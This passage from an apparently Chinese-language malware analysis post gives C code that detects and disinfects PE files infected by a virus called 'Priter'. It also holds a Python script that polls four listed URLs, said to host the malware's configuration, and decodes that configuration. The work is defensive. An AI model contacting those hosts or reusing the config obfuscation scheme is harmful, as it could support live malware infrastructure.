这样我们就可以写程序修复了,很久都没有写程序了,大部分时间都花在调试程序上了,这里只列出一些关键部分函数,其他看附件:
判断程序是否被感染:bool IsInfecterByPriter(char* szFileName)
{
bool bReturn = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0;
DWORD dwOffset = 0;
DWORD dwKey = 0;
DWORD dwTemp = 0;
DWORD dwImageSize = 0;
DWORD dwHeadSize = 0;
LPBYTE MapOfFile = 0;
DWORD dwFileSize = 0;
DWORD i = 0;
IMAGE_NT_HEADERS32* PE;
IMAGE_SECTION_HEADER* SH;
PDWORD LastSection;
hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto Exit0;
//Is ValidPE
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
if ('ZM' != dwTemp)
goto Exit0;
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
dwTemp = 0;
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
ReadFile(hFile, &dwTemp, 2, &dwRead, NULL);
if ('EP' != dwTemp)
goto Exit0;
//check the file size
dwFileSize = GetFileSize(hFile,NULL);
if (dwFileSize == 0xFFFFFFFF)
goto Exit0;
if (0x960a >= dwFileSize)
goto Exit0;
//Map
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
ReadFile(hFile, &dwOffset, 4, &dwRead, NULL);
SetFilePointer(hFile, dwOffset + 0x50, NULL, FILE_BEGIN);
ReadFile(hFile, &dwImageSize, 4, &dwRead, NULL);
SetFilePointer(hFile, dwOffset + 0x54, NULL, FILE_BEGIN);
ReadFile(hFile, &dwHeadSize, 4, &dwRead, NULL);
MapOfFile = (LPBYTE)VirtualAlloc(0, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (MapOfFile == 0)
goto Exit0;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, MapOfFile, dwHeadSize, &dwRead, NULL);
PE = (IMAGE_NT_HEADERS32 *)(MapOfFile + dwOffset);
SH = IMAGE_FIRST_SECTION32(PE);
//判断最后一个节的属性
if ((SH + PE->FileHeader.NumberOfSections -1)->Characteristics != 0xe00000e0)
goto FreeExit0;
dwTemp = (SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData;
if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData == 0x9800)
goto Found;
if ((SH + PE->FileHeader.NumberOfSections -1)->SizeOfRawData != 0xa000)
goto FreeExit0;
Found:
for (i = 0; i < PE->FileHeader.NumberOfSections; i ++)
{
SetFilePointer(hFile, (SH + i)->PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (SH + i)->VirtualAddress + MapOfFile, (SH + i)->SizeOfRawData, &dwRead, NULL);
}
LastSection = (PDWORD)(MapOfFile + (SH + PE->FileHeader.NumberOfSections -1)->VirtualAddress);
dwKey = *LastSection;
//dwTemp = *(PDWORD)(LastSection + 1);
*(LastSection + 1) = *(LastSection + 1) ^ dwKey;
//解密后,判断最后一个节开始的数据
if (*(LastSection + 1) != 0x77582588)
goto FreeExit0;
*(LastSection + 2) = *(LastSection + 2) ^ dwKey;
dwTemp = *(LastSection + 2);
if (*(LastSection + 2) != 6)
goto FreeExit0;
//Save
pSaveInfo = (PINFO)malloc(sizeof(INFO));
memset(pSaveInfo, 0, sizeof(INFO));
strcpy(pSaveInfo->szFileName, szFileName);
pSaveInfo->MapOfFile = MapOfFile;
pSaveInfo->PE = PE;
pSaveInfo->SH = SH;
pSaveInfo->dwKey = dwKey;
pSaveInfo->dwimagesize = dwImageSize;
bReturn = TRUE;
goto Exit0;
FreeExit0:
VirtualFree(MapOfFile,0,MEM_RELEASE);
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
return bReturn;
}
对感染的文件进行修复:bool IsRepairSuccess()
{
bool bRet = FALSE;
BOOL bWrite;
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwRead = 0;
DWORD dwOffset = 0;
DWORD dwTemp = 0,dwTemp1,dwTemp2;
DWORD counter = 0,i;
IMAGE_SECTION_HEADER* SH;
PDWORD patch_call_info,patch_call_info_copy,dwPatch_tmp;
DWORD file_offset,file_offset_end;
PBYTE patched_call_va,check_call_va,dwrepair;
DWORD dwSizeOfHead = 0;
//IMAGE_SECTION_HEADER *SH;
SH = pSaveInfo->SH;
patch_call_info = (PDWORD)((pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress) + 0x14);
patch_call_info_copy = patch_call_info;
//获取patch了多少个call
do
{
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
dwTemp = *(patch_call_info);
if (dwTemp != 0)
{
++counter;
if (counter > 6)
goto Exit0;
++patch_call_info;
*(patch_call_info) = *(patch_call_info) ^ pSaveInfo->dwKey;
++patch_call_info;
}
} while ( dwTemp != 0);
if (counter <= 0)
{
goto Exit0;
}
//如果出去call的数量为1 则不需要去重复
if (counter == 1)
{
goto repair;
}
patch_call_info = patch_call_info_copy;
dwTemp = counter;
dwTemp ++;
//有的有重复的 去掉重复的
while (--dwTemp!=1)
{
dwPatch_tmp = patch_call_info_copy;
dwTemp1 = *(patch_call_info_copy);
patch_call_info_copy = patch_call_info_copy + 2;
dwTemp2 = *(patch_call_info_copy);
if (dwTemp2 == dwTemp1)
{
i = dwTemp;
i --;
i = i * 8;
i = i + 4;
memcpy(dwPatch_tmp,patch_call_info_copy,i);
counter --;
if (counter == 0)
{
goto Exit0;
}
patch_call_info_copy = patch_call_info_copy - 2;
}
}
file_offset = pSaveInfo->SH->PointerToRawData;
file_offset_end = pSaveInfo->SH->SizeOfRawData + pSaveInfo->SH->PointerToRawData;
check_call_va = (pSaveInfo->MapOfFile + (SH + pSaveInfo->PE->FileHeader.NumberOfSections -1)->VirtualAddress);
check_call_va = check_call_va + 0x5ee3;
//开始修复
do
{
dwTemp = *patch_call_info;
if (dwTemp < file_offset)
{
goto Exit0;
}
if (dwTemp > file_offset_end)
{
goto Exit0;
}
dwrepair = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
patched_call_va = PBYTE(pSaveInfo->MapOfFile + pSaveInfo->SH->VirtualAddress + dwTemp - file_offset);
--patched_call_va;
if (*patched_call_va != 0xe8)
{
goto Exit0;
}
++patched_call_va;
patched_call_va = patched_call_va + *(PDWORD)patched_call_va;
patched_call_va = patched_call_va + 4;
dwTemp2 = patched_call_va - check_call_va;
if ((dwTemp2 % 0x0a) != 0)
{
goto Exit0;
}
patch_call_info = patch_call_info + 1;
memcpy(dwrepair ,patch_call_info,4);
patch_call_info = patch_call_info + 1;
} while (--counter);
repair:
// remove last section
-- pSaveInfo->PE->FileHeader.NumberOfSections;
pSaveInfo->PE->OptionalHeader.SizeOfImage = pSaveInfo->PE->OptionalHeader.SizeOfImage
- (pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections)->Misc.VirtualSize;
memset(pSaveInfo->SH + pSaveInfo->PE->FileHeader.NumberOfSections,0,0x28);
dwSizeOfHead = pSaveInfo->PE->OptionalHeader.SizeOfHeaders;
hFile = CreateFile(pSaveInfo->szFileName, GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if (INVALID_HANDLE_VALUE == hFile)
goto Exit0;
bWrite = WriteFile(hFile, pSaveInfo->MapOfFile, dwSizeOfHead, &dwTemp, NULL);
for (i = 0; i < pSaveInfo->PE->FileHeader.NumberOfSections ; i ++)
bWrite = WriteFile(hFile, (SH + i)->VirtualAddress + pSaveInfo->MapOfFile, (SH + i)->SizeOfRawData, &dwTemp, NULL);
dwTemp = (SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData;
dwTemp1 = SetFilePointer(hFile,(SH+i-1)->PointerToRawData + (SH+i-1)->SizeOfRawData,NULL,FILE_BEGIN);
dwTemp2 = SetEndOfFile(hFile);
bRet = TRUE;
Exit0:
if (INVALID_HANDLE_VALUE != hFile)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (NULL != pSaveInfo->MapOfFile)
{
VirtualFree(pSaveInfo->MapOfFile,0,MEM_RELEASE);
}
if (NULL != pSaveInfo)
{
free(pSaveInfo);
pSaveInfo = NULL;
}
return bRet;
}
最后我写了个叫脚本来下载解密其配置文件,看看病毒作者是否有更新,结果很失望,脚本如下:
import os,sys
import urllib2
import time
import re, struct
def Decrypt_Config(srcData, hOutFile):
currIndex = 0
data_len = len(srcData)
ecx = data_len - 0xa
p = re.compile(r'########(.*)',re.DOTALL)
m = p.search(srcData)
decrypt_data = []
if m:
found_offset = m.start(1)
ecx = ecx - found_offset
ecx = ecx >> 1
#print "ecx %08x" % ecx
while ecx != 0:
ah = srcData[found_offset]
al = srcData[found_offset+1]
eax = (ord(ah) << 0x8) | ord(al)
#print "eax %08x" % eax
eax = eax - 0x4141
edx = eax
eax = eax >> 4
eax = edx | eax
#print "after or eax %08x" % eax
decrypt_data.append(chr(eax & 0xff))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "".join(decrypt_data)
first_dword = struct.unpack('I',decrypt_data_[0:4])[0]
if first_dword <= data_len:
check_value = struct.unpack('H',decrypt_data_[4:6])[0]
#print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_[6:]
cur_offset = 0
while ecx >= 4:
eax = eax + struct.unpack('I',esi[cur_offset:cur_offset + 4])[0]
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0xffff
if eax == check_value:
real_data = decrypt_data_[6:first_dword+6]
hOutFile.write(real_data)
else:
print "no content found"
#time.sleep(7200)
def downloadfilewithoutdecrypt(url):
try:
ha = urllib2.urlopen(url,)
if ha:
print 'get sucess\n'
configdata=ha.read()
if configdata:
print 'get data correct \n'
if url.lower().endswith('625'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config625','wb')
Decrypt_Config(configdata,outfile)
#outfile.write(configdata)
outfile.close()
if url.lower().endswith('358'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config358','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
if url.lower().endswith('home'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'configtest','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
if url.lower().endswith('014'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config014','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
except urllib2.HTTPError:
pass
if __name__ == '__main__':
weblist = [
"http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625",
"http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014",
"http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358",
"http://hi.baidu.com/test6345/home"
]
#f
i = 0
while(True):
for url in weblist:
i = i + 1
downloadfilewithoutdecrypt(url)
time.sleep(72)
if i > 0x10:
break
print "finishe"
这几天下载下来的内容,都是一样的。
附件密码:forfun